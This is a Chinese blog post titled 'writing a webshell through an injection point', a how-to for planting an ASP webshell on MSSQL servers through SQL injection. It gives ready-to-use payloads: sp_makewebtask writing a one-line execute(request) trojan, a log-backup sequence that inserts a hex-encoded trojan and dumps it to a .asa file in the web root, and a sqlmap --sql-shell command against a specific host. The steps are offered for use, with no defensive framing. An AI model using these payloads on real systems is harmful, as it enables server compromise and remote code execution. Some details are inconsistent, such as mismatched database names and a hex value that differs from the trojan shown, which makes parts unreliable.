首页 > 技术文章 > 注入点写webshell

abels0025 2019-09-19 10:46 原文

两种方法:

方法一:sa权限makewebbtack写入

要求:1.必须知道网站物理路径(网站存放的目录)

   2.必须有足够大的权限(db以上有列目录的权限)

   3.最好是mssql2000 2005

   4.开启了makewebbtack写入功能

1.进行sql注入,查看当前库(nmgeip),以及权限(sa)

 

 2.找到物理路径(C:/nmgeip)

 

另一种 列目录方法:用sqlmap加参数--os-cmd"命令"

3.sa权限,通过makewebtask,写入一句话

手动sql注入

';exec sp_makewebtask 'c:\nmgeip\nmg.asp',' select ''<%25execute(request("a"))%25>'' ';--

方法二:sa权限 log日志备份上传webshell

条件:1.网站物理路径

   2.数据库名称

   3.权限够大

第一步:
;alter database nmgeip set RECOVERY FULL--


第二步:
create table cmd (a image)--

第三步:
backup log alsm_web_cms to disk = 'D:\cmd' with init--

第四步:
insert into cmd (a) values (0x3C256576616C20726571756573742822332229253E)--

一句话木马:<%execute request("3")%>
hex:0x3C256578656375746520726571756573742822736372697074626F792229253E

第五步:
backup log nmgeip to disk = 'c:\nmgeip\w.asa'--

第六步:
drop table cmd--

以上操作也可以这么实现:

C:\Users\命运\Desktop\安全\sqlmap\sqlmapproject-sqlmap-6ec6e86>python sqlmap.py -u "http://10.6.1.54:82/Info/InfoDetail.aspx?id=485" --sql-shell

推荐阅读